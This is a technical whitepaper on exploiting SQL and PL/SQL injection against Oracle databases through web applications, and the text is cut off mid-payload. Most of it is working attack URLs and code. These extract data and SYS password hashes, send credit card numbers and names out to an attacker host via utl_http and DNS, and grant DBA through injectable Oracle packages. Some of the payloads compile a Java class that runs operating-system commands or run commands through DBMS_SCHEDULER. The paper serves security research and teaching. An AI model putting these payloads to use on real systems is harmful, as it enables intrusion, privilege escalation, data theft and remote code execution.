# Hacking Oracle from the Web:
## Exploiting SQL Injection from Web Applications

Sumit Siddharth
Sumit.Siddharth@7safe.com

7Safe HQ, South Cambridge Business Park, Sawston, CB22 3JH, United Kingdom
t: +44 (0)870 600 1667, f: +44 (0)870 600 1668

## Abstract:

This paper discusses the exploitation techniques available for exploiting SQL Injection from web applications against the Oracle database. Most of the techniques available over the Internet are based on exploitation when attacker has interactive access to the Oracle database, i.e. he can connect to the database via a SQL client. While some of these techniques can be directly applied when exploiting SQL injection in web applications, this is not always true. Unlike MS-SQL, Oracle neither supports nested queries, nor has any direct functionality like xp_cmdshell to allow execution of operating system commands. Extraction of sensitive data from a back-end database by exploiting SQL injection in Oracle web applications is well known.  Performing privilege escalation and executing operating system commands from web applications is not widely known, and is the subject of this paper.

## Table of Contents

**SQL Injection 101 .......... 4**

**Exploiting SQL Injection .......... 4**

**1. Data Extraction .......... 4**

1. Error Messages Enabled: .......... 4

UTL_INADDR.GET_HOST_NAME .......... 4

CTXSYS.DRITHSX.SN .......... 5

2. Error Messages Disabled: .......... 5

a) UNION queries .......... 5

b) Blind Injection .......... 6

c) OOB Channels .......... 6

UTL_INADDR.GET_HOST_ADDRESS .......... 6

SYS.DBMS_LDAP.INIT .......... 7

d) Heavy Queries .......... 7

**2. Privilege Escalation .......... 9**

1. Privileged SQL Injection: .......... 9

SYS.KUPP$PROC.CREATE_MASTER_PROCESS .......... 10

DBMS_REPCAT_RPC.VALIDATE_REMOTE_RC .......... 11

2. Unprivileged SQL Injection .......... 11

DBMS_EXPORT_EXTENSION .......... 12

**3. OS Code Execution .......... 13**

1. DBMS_EXPORT_EXTENSION .......... 13

With Java: .......... 13

1. Create java Library: .......... 13

2. Grant Java Permissions to SCOTT: .......... 14

3. Create Function .......... 14

4. Grant function execute Privileges .......... 14

5. Execute OS Code .......... 15

2. With Java Privileges .......... 15

a) DBMS_JAVA.RUNJAVA....15

b) DBMS_JAVA_TEST.FUNCALL....15

3. With SYS Privileges....15

DBMS_REPCAT_RPC.VALIDATE_REMOTE_RC....16

With java....16

Create Library:....16

Granting JAVA permissions:....16

Creating Function:....16

Making function executable by PUBLIC....17

Executing OS Code:....17

4. With DBA Privileges....17

SYS.KUPP$PROC.CREATE_MASTER_PROCESS....17

DBMS_SCHEDULER....17

Create program....17

Create Job....17

Remove Job (Not Required)....18

**PL/SQL Injection....18**

Privilege Escalation....18

OS Code Execution....19

**References....19**

**About the author....19**

## SQL Injection 101

SQL Injection is vulnerability where unsanitised user's input is used in SQL calls. This vulnerability allows an attacker to retrieve sensitive information from a back-end database. The impact of this vulnerability can vary from basic information disclosure to a remote code execution and total compromise of the back-end systems.

E.g. Let's look at the following pseudo PHP code:

```
$query = "select * from all_objects
where object_name = ‘ ".$_GET['name']. “ ’ ”;
```

This query takes user's input (name parameter) and this input is directly passed on to the query. Malicious input such as:

```
http://vulnsite.com/ora.php?name=’ or ‘1’=’1
```

This will result in the following query being executed:

```
Select * from all_objetcs where object_name = ‘‘ or ‘1’=’1’
```

This changes the SQL logic and the query returns all rows from table all_objects.

## Exploiting SQL Injection

Exploiting SQL injection may have different meanings from one person to another. Someone may only be after the sensitive data within the database (e.g. credit card details), while the others may wish to execute operating system commands on the database host in order to completely compromise the host. The remainder of this paper will discuss these exploitation techniques:

## 1. Data Extraction

The following techniques are currently known to extract data from the back-end database by exploiting SQL Injection from web applications:

### 1. Error Messages Enabled:

When the database error messages are enabled, an attacker could return the output of an arbitrary SQL query within the database error message. A number of functions (executable by the 'public' role) can be used for this:

#### UTL_INADDR.GET_HOST_NAME

E.g. The following malicious input:

```
http://192.168.2.10/ora2.php?name=’ and 1=utl_inaddr.get_host_name((select user from dual))--
```

This will result in the following SQL query:

```
Select * from all_objects where object_name = ‘’ and
1=utl_inaddr.get_host_name((select user from dual))--‘
```

This query will throw an error which will have the output of the query which the attacker wanted to execute:

```
Warning: ociexecute() [function.ociexecute]: ORA-29257: host SCOTT unknown
ORA-06512: at "SYS.UTL_INADDR", line 4 ORA-06512: at "SYS.UTL_INADDR", line
35 ORA-06512: at line 1 in C:\wamp\www\ora2.php on line 13
```

While this technique will work in Oracle 8, 9 and 10g, this will fail in 11g. This is due to enhanced security features in 11g which implements ACLs on packages which require network access such as UTL_HTTP, UTL_INADDR etc.

```
http://vulnsite.com/ora1.php?name=' and 1=utl_inaddr.get_host_name((select user from dual))--

Warning: ociexecute() [function.ociexecute]: ORA-24247: network access denied
by access control list (ACL) ORA-06512: at "SYS.UTL_INADDR", line 4 ORA-
06512: at "SYS.UTL_INADDR", line 35 ORA-06512: at line 1 in
C:\wamp\www\ora1.php on line 13
```

### CTXSYS.DRITHSX.SN

Alexander Kornbrust showed that alternate functions can be used in 11g to extract the information in error messages:

```
ctxsys.drithsx.sn(1,(sql query to execute))
```

Example:

```
http://192.168.2.10/ora1.php?name=' and 1=ctxsys.drithsx.sn(1,(select user from dual))--

Warning: ociexecute() [function.ociexecute]: ORA-20000: Oracle Text error: DRG-11701: thesaurus
SCOTT does not exist ORA-06512: at "CTXSYS.DRUE", line 160 ORA-06512: at "CTXSYS.DRITHSX", line
538 ORA-06512: at line 1 in C:\wamp\www\ora1.php on line 13
```

## 2. Error Messages Disabled:

When the database error messages are disabled then there a number of methods that can be used to extract data from the database:

- UNION Queries
- Blind Injection
- Heavy Queries
- Out-Of-Band Channels.

These techniques are briefly discussed below, although a detailed analysis is not within the scope of this paper.

### a) UNION queries

This mostly applies when the SQL injection is within a SELECT statement and the output of the UNION query can be seen with the HTTP response:

```
e.g. http://192.168.2.10/ora1.php?name=' union all select user from dual –
```

The limitation of this technique is that the query injected by the attacker must match the original query in number of columns and their corresponding data-types.

### b) Blind Injection

Using this method an attacker will not directly see the output of the query he wants to execute. To enumerate the output, he needs to use a set of logical statements based on the application's responses. For example:

```
http://192.168.2.10/ora2.php?name=TEST (produces a given page)

http://192.168.2.10/ora2.php?name=TEST' and (select user from dual)='SCOTT'-- (produces the same page)

http://192.168.2.10/ora2.php?name=TEST' and (select user from dual)='FOO' -- (produces a different page)
```

Based on the 3 responses above it can be deduced that the output of query "select user from dual" is SCOTT.

**Tools**: There are a number of tools publicly available to exploit blind SQL injection in Oracle. E.g. Sqlmap, Bsqlbf, Bsqlhacker, Absinthe etc.

### c) OOB Channels

Using this method, the information is being sent to an attacker-controlled server using the network or the file system. There are a number of functions available under Oracle 8, 9, and 10g (R1 and R2) to achieve this.

#### UTL_INADDR.GET_HOST_ADDRESS

E.g. An attacker can make the database server issue a DNS resolution request for host SCOTT.attacker.com by issuing a SQL Query such as:

```
Select utl_inaddr.get_host_address((select user from
dual)||'.attacker.com') from dual;

http://192.168.2.10/ora2.php?name=SCOTT' and (select
utl_inaddr.get_host_address((select user from
dual)||'.hacker.notsosecure.com') from dual) is not null--
```

Thus by receiving such DNS name resolutions requests an attacker can now obtain the output of SQL queries.

```
18:35:27.985431 IP Y.Y.Y.Y.35152 > X.X.X.X.53: 52849 A? SCOTT.hacker.notsosecure.com. (46)
```

Similarly, an attacker can also make the database server issue other TCP requests (e.g. HTTP) and receive the output within these TCP requests issued to attacker's server. Alexander Kornbrust showed a neat trick at Confidence 2009 on how by issuing one such request an attacker can get bulk data over OOB channels:

```
Select sum(length(utl_http.request('http://attacker.com/'||ccnumber||'.'||fname||'.'||lname)))
from creditcard

http://192.168.2.10/ora2.php?name=SCOTT' and (select
sum(length(utl_http.request('http://attacker.com/'||ccnumber||'.'||fname||'.'||lname))) from
creditcard)>0--
```

This one single request will make the database server recursively do a DNS lookup for all rows within the table. This will send all the card numbers (CCnumber) along with the corresponding first name (fname) and last name (lname) from Creditcard table to attacker's site in HTTP requests. These are the logs which the attacker will find in his web server's access logs.

```
...

X.X.X.X - - [17/Feb/2010:19:01:41 +0000] "GET /5612983023489216.test1.surname1 HTTP/1.1" 404
308 "-" "-"

X.X.X.X - - [17/Feb/2010:19:01:41 +0000] "GET /3612083027489216.test2.surname2 HTTP/1.1" 404
308 "-" "-"

X.X.X.X - - [17/Feb/2010:19:01:41 +0000] "GET /4612013028489214.test3.surname3 HTTP/1.1" 404
308 "-" "-"

...
```

The restriction posed by this technique is that the outbound traffic from the database host should be allowed on the firewall. In practice, DNS is usually allowed and hence this technique is very useful.

#### SYS.DBMS_LDAP.INIT

As noted earlier, the enhanced security features introduced in 11g prohibit 'public' from executing packages which could cause a network connection. However, David Litchfield in his recent Blackhat talk showed another function (executable by public) that can be used to conduct an OOB attack under 11g.

```
SELECT SYS.DBMS_LDAP.INIT((SELECT user from
dual)||'.databasesecurity.com',80) FROM DUAL

http://192.168.2.10/ora1.php?name=SCOTT' and (SELECT
SYS.DBMS_LDAP.INIT((SELECT user from dual)||'.databasesecurity.com',80)
FROM DUAL) is not null--
```

### d) Heavy Queries

If the SQL Injection is not within a SELECT statement (e.g. INSERT Statement), then although the query injected by the attacker will get executed on the database server, it may not be possible to manipulate the output of the query as the HTTP response returned by the application will not differ.

Further, if the database has egress filtering enabled then the OOB attack will not be successful. This method is perhaps the last resource available to extract the output of the SQL query.

For Example, Let's look at the following PHP code:

```
<?php
error_reporting(0);
$conn=oci_connect("scott", "tiger", '//192.168.2.11:1521/orcl');
$sql = "INSERT INTO DRAW VALUES ('".$_GET['number']."')";
$stmt = oci_parse($conn,$sql);
echo "Thank You For Your Submission";
oci_execute($stmt);
?>
```

The application performs an insert query on the user supplied input and displays the same message "Thank You For Your Submission" irrespective of whether the query executed successfully or not. This makes it difficult to manipulate the output of logical statements issued by the attacker and hence the blind injection technique will fail here.

MS-SQL and MySQL have functions which can be called to make the database server sleep for a certain amount of time. Thus the output of the injected SQL query can be manipulated depending upon the time taken by the database/application server to respond. However, as there is no such function available in Oracle, a similar approach is to make the database issue a heavy query which will result in a time delay. The end result is that the logical statements issued by the attacker can be manipulated as true or false depending upon the time taken for the HTTP response.

```
http://192.168.2.10/ora11.php?number=2222222'||(select 1 from dual where
(select count(*)from all_users t1, all_users t2, all_users t3, all_users
t4, all_users t5)>0 and  (select user from dual)='SCOTT'))--

INSERT INTO DRAW VALUES('XXX2222222'||(select 1 from dual where (select
count(*)from all_users t1, all_users t2, all_users t3, all_users t4,
all_users t5)>0 and  (select user from dual)='SCOTT'))--
```

**Query Lasts 30 seconds**

```
http://192.168.2.10/ora11.php?number=2222222'||(select 1 from dual where
(select count(*)from all_users t1, all_users t2, all_users t3, all_users
t4, all_users t5)>0 and  (select user from dual)='XXXX'))--

INSERT INTO DRAW VALUES('2222222'||(select 1 from dual where (select
count(*)from all_users t1, all_users t2, all_users t3, all_users t4,
all_users t5)>0 and  (select user from dual)='XXXX'))--
```

**Query Lasts 1 second**

The above 2 requests show that the output of the attacker's query is SCOTT

## 2. Privilege Escalation

The abovementioned techniques will allow an attacker to obtain the output of an arbitrary SQL query. The important thing to understand here is the privileges with which an attacker's query gets executed. There can be 2 broad categories here:

1. Privileged SQL Injection
2. Un Privileged SQL Injection

### 1. Privileged SQL Injection:

By Privileged SQL Injection I imply that the attacker's query gets executed as SYS user (or with DBA privileges) and thus he has access to entire database. There can be quite a few possibilities such as:

1. Connection String has a privileged User.
2. SQL Injection is in a stored procedure which gets executed as SYS (or with DBA privileges).

Stored procedures in Oracle by default get executed with definer rights. Thus, if SYS has a vulnerable procedure which SCOTT can execute, than SCOTT can execute SQL queries as SYS.

Example:

```
create or replace PROCEDURE
    SYS.countpass(name IN VARCHAR2, message out varchar2)
    AS
      str varchar2(500);
        BEGIN
          str :='select count(PASSWORD) FROM SYS.USER$
          WHERE NAME like ''%'||name||'%''';
         Execute immediate str into message;
  END;
/
Grant execute on SYS.countpass to SCOTT;
```

This procedure can be called from a web application. The following PHP code (ora6.php) demonstrates this:

```
<?php
$conn = oci_connect('SCOTT','TIGER') or die;

$sql = 'BEGIN SYS.countpass(:name, :message); END;';

$stmt = oci_parse($conn,$sql);

//  Bind the input parameter
oci_bind_by_name($stmt,':name',$name,1000);

// Bind the output parameter
oci_bind_by_name($stmt,':message',$message,1000);

// Assign a value to the input
$name = $_GET['name'];
```

```
oci_execute($stmt);

// $message is now populated with the output value
print "$message";

?>
```

In this example although PHP uses bind variables it does not help as the procedure is still vulnerable. Further, although the application connects to the database as an unprivileged user (SCOTT), the injection point is in a procedure owned by SYS and therefore the attacker can execute SQL queries as SYS.

E.g.

http://192.168.2.10/ora6.php?name=SCOTT

Returns 1 <True page>

http://192.168.2.10/ora6.php?name=SCOTT' and (select password from sys.user$ where rownum=1)='286E1EA8F2CFD262'--

Returns 1 <True page>

http://192.168.2.10/ora6.php?name=SCOTT' and (select password from sys.user$ where rownum=1)='XXXXXXXXXXXX'—

Returns 0 <False page>

This implies that the attacker can run SQL as SYS user (access sys.user$ table) and the example demonstrates how an attacker can obtain the password hash of SYS user using blind injection technique described earlier.

What if the attacker wants to execute DDL/DML Statements such as 'GRANT DBA TO PUBLIC'?

Oracle database poses a number of problems in executing DDL/DML statements when exploiting SQL injections from web applications mainly because Oracle by design does not support nested queries. In order to achieve this, we must find a function which could either directly take PL/SQL and execute it as a feature or find a function which is vulnerable to PL/SQL Injection.

David Litchfield recently showed a few functions which could allow an attacker to achieve this:

### SYS.KUPP$PROC.CREATE_MASTER_PROCESS

**Affected Systems:** 11g R1 and R2 (0 day)

**Description:** The execution of a PL/SQL statement within this function is a feature and not a bug. This function is not executable by PUBLIC. Any user with DBA role can execute this function. As our injection point was in a procedure owned by SYS, we can execute this function.

```
http://192.168.2.10/ora6.php?name=SCOTT' and (Select
SYS.KUPP$PROC.CREATE_MASTER_PROCESS('EXECUTE IMMEDIATE ''DECLARE PRAGMA
AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''GRANT DBA TO
PUBLIC''''; END;'';') from dual) is not null--
```

### DBMS_REPCAT_RPC.VALIDATE_REMOTE_RC

**Affected Systems:** 8, 9, 10g R1, R2, 11g R1 (Fixed in CPU July 2009)

This function can only be executed by SYS. It uses definer rights (SYS) for execution. Unlike the previous function, this one executes PL/SQL due to a flaw (PL/SQL Injection) and not a feature.

```
http://192.168.2.10/ora6.php?name=SCOTT' and (Select
DBMS_REPCAT_RPC.VALIDATE_REMOTE_RC(USER,'VALIDATE_GRP_OBJECTS_LOCAL(:canon_
gname); execute immediate ''declare pragma autonomous_transaction;begin
execute immediate ''''grant dba to scott'''';end;''; end;--','CCCC') from
dual) is not null--
```

## 2. Unprivileged SQL Injection

In the example described above, the injection point was in a procedure which gets executed as SYS and hence privileged, but what if the SQL Injection is not privileged, that is:

1. Injection is in a SQL statement and gets executed as unprivileged user:

```
$conn = oci_connect("scott", "tiger", '//192.168.2.10:1521/orcl.com');
$query = "select text2 from foo2 where id = ".$_GET['name'];
```

2. Injection is in a procedure which gets executed as an unprivileged user:

```
CREATE OR REPLACE PROCEDURE
SCOTT.countobject(name IN VARCHAR2, message out varchar2)AUTHID
CURRENT_USER AS
str varchar2(500);
BEGIN
str :='select count(object_name) from all_objects where object_name like
''%'||name||'%''';
execute immediate  str into message ;
END;
```

The following php script(ora7.php) now calls this procedure:

```
<?php
$conn = oci_connect('SCOTT','TIGER') or die;


$sql = 'BEGIN SCOTT.countobject(:name, :message); END;';

$stmt = oci_parse($conn,$sql);

//  Bind the input parameter
oci_bind_by_name($stmt,':name',$name,1000);

// Bind the output parameter
```

```
oci_bind_by_name($stmt,':message',$message,1000);

// Assign a value to the input
$name = $_GET['name'];

oci_execute($stmt);

// $message is now populated with the output value
print "$message";
?>
```

Here the attacker's query will be executed as SCOTT user. Let's see if we can still obtain the password hash of SYS user:

```
http://192.168.2.10/ora7.php?name=SCOTT' and (select password from
sys.user$ where rownum=1)='286E1EA8F2CFD262'--
```

This query will now fail as the injection is unprivileged and the user SCOTT does not have access to the sys.user$ table. If the error messages are enabled on the application then the following error will be displayed:

```
Warning: oci_execute() [function.oci-execute]: ORA-00942: table or view
does not exist ORA-06512: at "SCOTT.countobject", line 8 ORA-06512: at line
1 in C:\wamp\www\ora7.php on line 18
```

This is where things start getting "interesting". Those of you familiar with MS-SQL may recall that MS-SQL has a feature called Openrowset which (if enabled) could allow an attacker to brute-force/guess 'SA' password and then run SQL queries as 'SA'.

In Oracle a similar privilege escalation can be achieved under certain circumstances. At the time of writing this paper the following techniques are *publicly known*[1]:

## DBMS_EXPORT_EXTENSION

**Affected Versions:** Oracle 8.1.7.4, 9.2.0.1 - 9.2.0.7, 10.1.0.2 - 10.1.0.4, 10.2.0.1-10.2.0.2, XE (Fixed in CPU July 2006)

**Privilege required**: None

**Description**: This package has had number of functions vulnerable to PL/SQL Injection. These functions are owned by SYS, execute as SYS and are executable by PUBLIC. Thus, if the SQL Injection is in any of the un-patched Oracle database versions mentioned above then the attacker can call this function and directly execute queries as SYS.

E.g.

```
http://192.168.2.10/ora7.php?name=SCOTT' and
chr(44)=SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS
_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA
```

[1] While an effort has been made to collect all publicly known techniques, it may be possible that there are other privilege escalation techniques known.

```
AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''' grant dba to
public'''';END;'';END;--','SYS',0,'1',0)--
```

This request will result in the query 'GRANT DBA TO PUBLIC' getting executed as SYS. This function allows PL/SQL because of a flaw (PL/SQL injection) .Once this request is successfully executed, the PUBLIC gets DBA role thus escalating SCOTT's privileges and now our SCOTT user can query sys.user$ table:

```
http://192.168.2.10/ora7.php?name=SCOTT' and (select password from
sys.user$ where rownum=1)='286E1EA8F2CFD262'--
```

**Tool:** Bsqlbf has this feature of doing privilege escalation first and then extracting data with DBA privileges. After extracting data it revokes the DBA role from PUBLIC.

While there are no other *publicly known* techniques by which an attacker can become DBA from just CREATE SESSION privilege by exploiting SQL injection from web applications, there are still a few attack vectors with which an attacker can execute operating system commands without having DBA role (with JAVA privileges). This is discussed below.

## 3. OS Code Execution

The following attack vectors are currently publicly known for executing operating system commands against the Oracle database while exploiting SQL injection from web applications:

### 1. DBMS_EXPORT_EXTENSION

**Affected Versions:** Oracle 8.1.7.4, 9.2.0.1 - 9.2.0.7, 10.1.0.2 - 10.1.0.4, 10.2.0.1-10.2.0.2, XE
**Privilege required**: None
**Description**: As noted under privilege escalation, the functions within this package, vulnerable to PL/SQL Injection, can be used to firstly gain DBA privileges and then Operating System Commands can be executed by a number of techniques such as:

- Creating JAVA library
- DBMS_SCHEDULER
- EXTPROC
- PL/SQL native make utility (9i only)

The following demonstrates on how to do this with Java.

### With Java:

#### 1. Create java Library:

```
http://192.168.2.10/ora7.php?name=SCOTT' and (select
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT"
.PUT(:P1);EXECUTE IMMEDIATE
''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create
or replace and compile java source named
"LinxUtil" as import java.io.*; public class LinxUtil extends Object
{public static String runCMD(String args)
{try{BufferedReader myReader= new BufferedReader(new InputStreamReader(
Runtime.getRuntime().exec(args).getInputStream()
) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str
%2b=stemp%2b"\n";myReader.close();return
str;} catch (Exception e){return e.toString();}}public static String
readFile(String filename){try{BufferedReader
myReader= new BufferedReader(new FileReader(filename)); String
stemp,str="";while ((stemp = myReader.readLine()) !=
null) str %2b=stemp%2b"\n";myReader.close();return str;} catch (Exception
e){return
e.toString();}}}'''';END;'';END;--','SYS',0,'1',0) from dual) is not null--
```

## 2. Grant Java Permissions to SCOTT:

```
http://192.168.2.10/ora7.php?name=SCOTT’ and (select
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT"
.PUT(:P1);EXECUTE IMMEDIATE
''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin
dbms_java.grant_permission(
''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''',
''''''''<>'''''''', ''''''''execute''''''''
);end;'''';END;'';END;--','SYS',0,'1',0) from dual) is not null--
```

## 3. Create Function

```
http://192.168.2.10/ora7.php?name=SCOTT’ and (select
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT"
.PUT(:P1);EXECUTE IMMEDIATE
''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create
or replace function LinxRunCMD(p_cmd in
varchar2) return varchar2 as language java name
''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';
'''';END;'';END;--','SYS',0,'1',0) from dual) is not null--
```

## 4. Grant function execute Privileges

```
http://192.168.2.10/ora7.php?name=SCOTT’ and (select
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT"
.PUT(:P1);EXECUTE IMMEDIATE
''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant
all on LinxRunCMD to
public'''';END;'';END;--','SYS',0,'1',0) from dual) is not null --
```

### 5. Execute OS Code

```
http://192.168.2.10/ora7.php?name=SCOTT' and (select
sys.LinxRunCMD('cmd.exe /c whoami') from dual) is not null--
```

Similarly, one can execute OS code via this PL/SQL Injection through other methods such as DBMS_SCHEDULER, PL/SQL native make utility etc.

**Tool:** Bsqlbf incorporates these methods of OS Code execution.

## 2. With Java Privileges

**Affected Versions:** 10g R2, 11g R1 and 11g R2 (0 day at the time of writing)

**Permissions required**: Java Permissions.

**Description:** David Litchfield recently demonstrated that if the user has Java privileges then operating system commands can be executed from web applications using 2 different functions:

### a) DBMS_JAVA.RUNJAVA

**Affected System:** 11g R1, 11g R2 (0 day at the time of writing)

```
http://192.168.2.10/ora8.php?name=SCOTT' and (SELECT
DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper
c:\\windows\\system32\\cmd.exe /c dir>C:\\OUT.LST') FROM DUAL) is not null
--
```

### b) DBMS_JAVA_TEST.FUNCALL

**Affected System**: 10g R2, 11g R1, 11g R2 (0 day at the time of writing)

```
http://192.168.2.10/ora8.php?name=SCOTT' and (Select
DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','c:\\windows\\sy
stem32\\cmd.exe','/c','dir>c:\\OUT2.LST') FROM DUAL) is not null –
```

The list of java permissions available to the user can be obtained by issuing the following query:

```
select * from user_java_policy where grantee_name ='SCOTT'
```

## 3. With SYS Privileges

As noted under the section Privileged SQL Injection, when the injection point is in a procedure owned by SYS (AUTHID Definer), then the attacker can use a number of functions for executing Operating System Commands, including the 2 techniques mentioned above (DBMS_EXPORT_EXTENSION, JAVA Privileges). However, another way to achieve this is by using DBMS_REPCAT_RPC.VALIDATE_REMOTE_RC. As noted earlier, this was fixed in January 2009 by Oracle.

### DBMS_REPCAT_RPC.VALIDATE_REMOTE_RC

**Affected Versions**: Oracle 8, 9,10g R1, 10g R2, 11g R1 (Fixed in CPU July 2009)

**Privilege required**: SYS

**Description**: As noted earlier this function is not available to 'public' and can only be executed by SYS user. Hence only a SQL Injection in a procedure owned by SYS can call this function. As this function is vulnerable to PL/SQL injection, it can be used to execute OS code by a number of methods such as:

- Creating JAVA Library(Universal, Except XE)
- DBMS_SCHEDULER (Universal)
- Extproc (Only 10g R1)
- PL/SQL native make utility (9i only)

### With java

Create Library:

```
http://192.168.2.10/ora6.php?name=SCOTT' and (select
SYS.DBMS_REPCAT_RPC.VALIDATE_REMOTE_RC(USER,'VALIDATE_GRP_OBJECTS_LOCAL(:ca
non_gname);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN
EXECUTE IMMEDIATE ''''create or replace and compile java source named
"LinxUtil" as import java.io.*; public class LinxUtil extends Object
{public static String runCMD(String args) {try{BufferedReader myReader= new
BufferedReader(new InputStreamReader(
Runtime.getRuntime().exec(args).getInputStream() ) ); String
stemp,str="";while ((stemp = myReader.readLine()) != null) str
+=stemp+"\n";myReader.close();return str;} catch (Exception e){return
e.toString();}}public static String readFile(String
filename){try{BufferedReader myReader= new BufferedReader(new
FileReader(filename)); String stemp,str="";while ((stemp =
myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return
str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--
','CCCCC') from dual) is not null--
```

Granting JAVA permissions:

```
http://192.168.2.10/ora6.php?name=SCOTT' and (select
SYS.DBMS_REPCAT_RPC.VALIDATE_REMOTE_RC(USER,'VALIDATE_GRP_OBJECTS_LOCAL(:ca
non_gname);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN
EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(
''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''',
''''''''<>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--
','CCCCC') from dual) is not null --
```

Creating Function:

```
http://192.168.2.10/ora6.php?name=SCOTT' and (select
SYS.DBMS_REPCAT_RPC.VALIDATE_REMOTE_RC(USER,'VALIDATE_GRP_OBJECTS_LOCAL(:ca
non_gname);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN
EXECUTE IMMEDIATE ''''create or replace function LinxRunCMD(p_cmd in
varchar2) return varchar2 as language java name
'''''''LinxUtil.runCMD(java.lang.String) return String''''''';
'''';END;'';END;--','CCCCC') from dual) is not null --
```

### Making function executable by PUBLIC

```
http://192.168.2.10/ora6.php?name=SCOTT’ and (select
SYS.DBMS_REPCAT_RPC.VALIDATE_REMOTE_RC(USER,'VALIDATE_GRP_OBJECTS_LOCAL(:ca
non_gname);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN
EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--
','CCCCC') from dual) is not null --
```

### Executing OS Code:

```
http://192.168.2.10/ora6.php?name=SCOTT’ and (select
sys.LinxRunCMD('cmd.exe /c whoami ') from dual) is not null --
```

**Tool:** Bsqlbf incorporates this exploit

## 4. With DBA Privileges

If the injection point is such that the attacker’s query gets executed with DBA privileges then he can use this function to execute OS code.

### SYS.KUPP$PROC.CREATE_MASTER_PROCESS

**Affected Versions:** 11g R1 and R2 (0day at the time of writing)
**Privilege required:** DBA[2]
**Description:** While the VALIDATE_REMOTE_RC was fixed by Oracle in July 2009, DBMS_EXPORT_EXTENSION in 2006 and DBMS_JAVA (DBMS_JAVA_TEST) will be fixed soon, this one is still un-patched and works on 11g (R1 and R2). As noted earlier, the PL/SQL execution from this function is a **‘feature’** and not a bug. Hence, if Oracle does not patch/remove this function, this may be one universal way for executing OS code when exploiting SQL Injection from web (injection point in procedure owned by user having DBA role). As I have already shown OS code execution by Java, let’s take a different approach this time. The example below shows OS code execution based on DBMS_SCHEDULER (all oracle versions, including XE):

### DBMS_SCHEDULER

### Create program

```
http://192.168.2.10/ora6.php?name=SCOTT’ and (select
SYS.KUPP$PROC.CREATE_MASTER_PROCESS('DBMS_SCHEDULER.create_program(''myprog4'',''EXEC
UTABLE'',''c:\WINDOWS\system32\cmd.exe /c dir >> c:\my4.txt'',0,TRUE);') from dual) is not null --
```

### Create Job

```
http://192.168.2.10/ora6.php?name=SCOTT’ and (select
SYS.KUPP$PROC.CREATE_MASTER_PROCESS('DBMS_SCHEDULER.create_job(job_name =>
```

[2] Unlike VALIDATE_REMOTE_RC, this function can be executed by any user who has DBA role

```
''myjob4'',program_name => ''myprog4'',start_date => NULL,repeat_interval => NULL,end_date =>
NULL,enabled => TRUE,auto_drop => TRUE);') from dual) is not null --
```

### Remove Job (Not Required)

```
http://192.168.2.10/ora6.php?name=SCOTT' and (select
SYS.KUPP$PROC.CREATE_MASTER_PROCESS('DBMS_SCHEDULER.drop_program(PROGRAM_NA
ME => ''myprog'');') from dual) is not null --
```

## PL/SQL Injection

In Oracle there is another class of vulnerability which is similar to SQL Injection but more dangerous. This happens when unsanitised user's input is used in construction of an anonymous PL/SQL block which then gets dynamically executed.

Let's look at one such example:

```
CREATE OR REPLACE PROCEDURE SCOTT.TEST( Q IN VARCHAR2) AS

BEGIN

EXECUTE IMMEDIATE ('BEGIN '||Q||';END;');

END;
```

The following php script (ora9.php) calls this procedure:

```
<?php
$conn = oci_connect('SCOTT','TIGER') or die;


$sql = 'BEGIN scott.test(:name); END;';

$stmt = oci_parse($conn,$sql);

//  Bind the input parameter
oci_bind_by_name($stmt,':name',$name,1000);


// Assign a value to the input
$name = $_GET['name'];

oci_execute($stmt);
?>
```

In this example the vulnerable procedure is owned by SCOTT (hence unprivileged). Although Oracle does not support nested query in SQL, it does so in PL/SQL. Hence exploiting this is quite straightforward.

### Privilege Escalation

Whatever we inject within this PL/SQL Injection, it will get executed either with the privileges of the procedure owner or invoker (AUTHID DEFINER or CURRENT_USER respectively defined within vulnerable procedure). However, as now we can issue nested queries, then we can exploit the vulnerable packages held within the back-end database to escalate privileges. David Litchfield recently showed a 0 day by which a user with just CREATE SESSION privileges can become DBA (applies to 10g R2, 11g R1, 11g R2), so let's use the same attack vector to exploit this vulnerability and first grant our user java IO privileges.

```
http://192.168.2.10/ora9.php?name=NULL; execute immediate 'DECLARE POL
DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT
''GRANT'',user(),''SYS'',''java.io.FilePermission'',''<<ALL
FILES>>'',''execute'',''ENABLED'' FROM DUAL;BEGIN OPEN C1; FETCH C1 BULK
COLLECT INTO POL;CLOSE
